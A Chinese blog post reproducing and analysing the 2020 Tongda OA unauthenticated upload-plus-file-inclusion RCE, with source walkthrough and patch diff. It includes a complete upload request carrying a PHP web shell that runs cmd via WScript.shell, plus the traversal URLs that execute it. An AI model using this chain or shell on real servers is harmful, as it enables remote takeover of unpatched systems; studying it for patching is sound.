通达(tongda)OA文件上传和文件包含漏洞重现及分析
0x00 概述
20200317,网上爆出通达oa被利用0day中勒索病毒的消息,官方已出漏洞补丁。
该0day为利用文件上传和文件包含组合利用进行RCE,无须认证。
0x01 影响范围
2013,2013增强版,2015,2016,2017,v11
//补丁只看见v11(2020)有geteway.php(文件包含漏洞)补丁
0x02 漏洞重现
利用v11版本:
文件包含漏洞
http://localhost/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../nginx/logs/oa.access.log
文件上传漏洞
上传文件路径在非webroot目录,如:
“D:\MYOA\attach\im\2003\ddd.test.jpg”
请求数据包:
POST /ispirit/im/upload.php HTTP/1.1 Host: 127.0.0.1 Connection: close Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.20.0 Content-Length: 633 Content-Type: multipart/form-data; boundary=ee65cd98fdbee896acd30a7b2552b6b5 --ee65cd98fdbee896acd30a7b2552b6b5 Content-Disposition: form-data; name="P" x --ee65cd98fdbee896acd30a7b2552b6b5 Content-Disposition: form-data; name="UPLOAD_MODE" 1 --ee65cd98fdbee896acd30a7b2552b6b5 Content-Disposition: form-data; name="DEST_UID" 1 --ee65cd98fdbee896acd30a7b2552b6b5 Content-Disposition: form-data; name="ATTACHMENT"; filename="test07.jpg" Content-Type: image/jpeg <?php $command=$_POST['cmd']; $wsh = new COM('WScript.shell'); $exec = $wsh->exec("cmd /c ".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?> --ee65cd98fdbee896acd30a7b2552b6b5--
再利用文件包含执行php代码
json=%7B%22url%22%3A%22%2Fgeneral%2F..%2F..%2Fattach%2Fim%2F2003%2F1941158481.test07.jpg%22%7D&cmd=whoami
或者这样包含也行
http://127.0.0.1/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../attach/im/2003/1044529275.test09.jpg
//实测无法直接执行phpinfo();
利用windows的com组件绕过disable_function()
<?php $command=$_POST['cmd']; $wsh = new COM('WScript.shell'); $exec = $wsh->exec("cmd /c ".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>
0x03 修复方案
打补丁
0x04 漏洞分析
PHP Zend 5.4解密php文件即可
文件上传漏洞分析
upload.php:5
$P = $_POST['P']; if (isset($P) || $P != '') { ob_start(); include_once 'inc/session.php'; session_id($P); session_start(); session_write_close(); } else { include_once './auth.php'; }
要有P参数否则会经过auth.php登录验证,不为空即可。
$DEST_UID = $_POST['DEST_UID']; $dataBack = array(); if ($DEST_UID != '' && !td_verify_ids($ids)) { $dataBack = array('status' => 0, 'content' => '-ERR ' . _('½ÓÊÕ·½IDÎÞЧ')); echo json_encode(data2utf8($dataBack)); exit; } if (strpos($DEST_UID, ',') !== false) { } else { $DEST_UID = intval($DEST_UID); } if ($DEST_UID == 0) { if ($UPLOAD_MODE != 2) { $dataBack = array('status' => 0, 'content' => '-ERR ' . _('½ÓÊÕ·½IDÎÞЧ')); echo json_encode(data2utf8($dataBack)); exit; } }
要有DEST_UID参数(整数)否则会报接收方ID无效,而且设置0的时候UPLOAD_MODE要设置2。
if (1 <= count($_FILES)) { if ($UPLOAD_MODE == '1') { if (strlen(urldecode($_FILES['ATTACHMENT']['name'])) != strlen($_FILES['ATTACHMENT']['name'])) { $_FILES['ATTACHMENT']['name'] = urldecode($_FILES['ATTACHMENT']['name']); } } $ATTACHMENTS = upload('ATTACHMENT', $MODULE, false);
进入upload()
utility_file.php:1321
if ($ATTACH_ERROR == UPLOAD_ERR_OK) { if (!is_uploadable($ATTACH_NAME)) { $ERROR_DESC = sprintf(_('½ûÖ¹ÉÏ´«ºó׺ÃûΪ[%s]µÄÎļþ'), substr($ATTACH_NAME, strrpos($ATTACH_NAME, '.') + 1)); }
进入is_uploadable()
function is_uploadable($FILE_NAME) { $POS = strrpos($FILE_NAME, '.'); if ($POS === false) { $EXT_NAME = $FILE_NAME; } else { if (strtolower(substr($FILE_NAME, $POS + 1, 3)) == 'php') { return false; } $EXT_NAME = strtolower(substr($FILE_NAME, $POS + 1)); }
只判断了.php,利用windows特性php.即可绕过,或者利用文件包含直接传jpg即可。
$MSG_CATE = $_POST['MSG_CATE']; if ($MSG_CATE == 'file') { $CONTENT = '[fm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]'; } else { if ($MSG_CATE == 'image') { $CONTENT = '[im]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/im]'; } else { $DURATION = intval($DURATION); $CONTENT = '[vm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $DURATION . '[/vm]'; } } ...... $dataBack = array('status' => 1, 'content' => $CONTENT, 'file_id' => $FILE_ID); echo json_encode(data2utf8($dataBack)); exit;
即可返回文件名
文件包含漏洞分析
gateway.php:
if ($P != '') { if (preg_match('/[^a-z0-9;]+/i', $P)) { echo _('·Ç·¨²ÎÊý'); exit; } session_id($P); session_start(); session_write_close(); if ($_SESSION['LOGIN_USER_ID'] == '' || $_SESSION['LOGIN_UID'] == '') { echo _('RELOGIN'); exit; } }
让P参数为空即可
if ($json) { $json = stripcslashes($json); $json = (array) json_decode($json); foreach ($json as $key => $val) { if ($key == 'data') { $val = (array) $val; foreach ($val as $keys => $value) { ${$keys} = $value; } } if ($key == 'url') { $url = $val; } } if ($url != '') { if (substr($url, 0, 1) == '/') { $url = substr($url, 1); } if (strpos($url, 'general/') !== false || strpos($url, 'ispirit/') !== false || strpos($url, 'module/') !== false) { include_once $url; } } exit; }
解析json数据,如果有键值url就赋值给$url。
if (strpos($url, 'general/') !== false || strpos($url, 'ispirit/') !== false || strpos($url, 'module/') !== false) { include_once $url; }
接着就包含了$url。
补丁对比
gateway.php增加了路径判断:
if (strpos($url, '..') !== false) { echo _('ERROR URL'); exit; }
upload.php去掉了else分支
$P = $_POST['P']; if (isset($P) || $P != '') { ob_start(); include_once 'inc/session.php'; session_id($P); session_start(); session_write_close(); } include_once './auth.php';
一定要经过auth.php登录验证了。
0x05 结语
这个漏洞利用简单,危害挺大
只有v11有gateway.php补丁,其他版本可能要利用其他包含漏洞。
上传漏洞好像通杀全版本,不过是好像是作为附件下载,而且是非web目录,所以即使传了php代码危害也不大。
需要绕过disable_function。
网站地址:https://www.hackzl.cn;发布者:hack之路,转转请注明出处:https://www.hackzl.cn/index.php/2020/12/15/%e9%80%9a%e8%be%be%ef%bc%88tongda%ef%bc%89oa%e6%96%87%e4%bb%b6%e4%b8%8a%e4%bc%a0%e5%92%8c%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab%e6%bc%8f%e6%b4%9e%e9%87%8d%e7%8e%b0%e5%8f%8a%e5%88%86%e6%9e%90/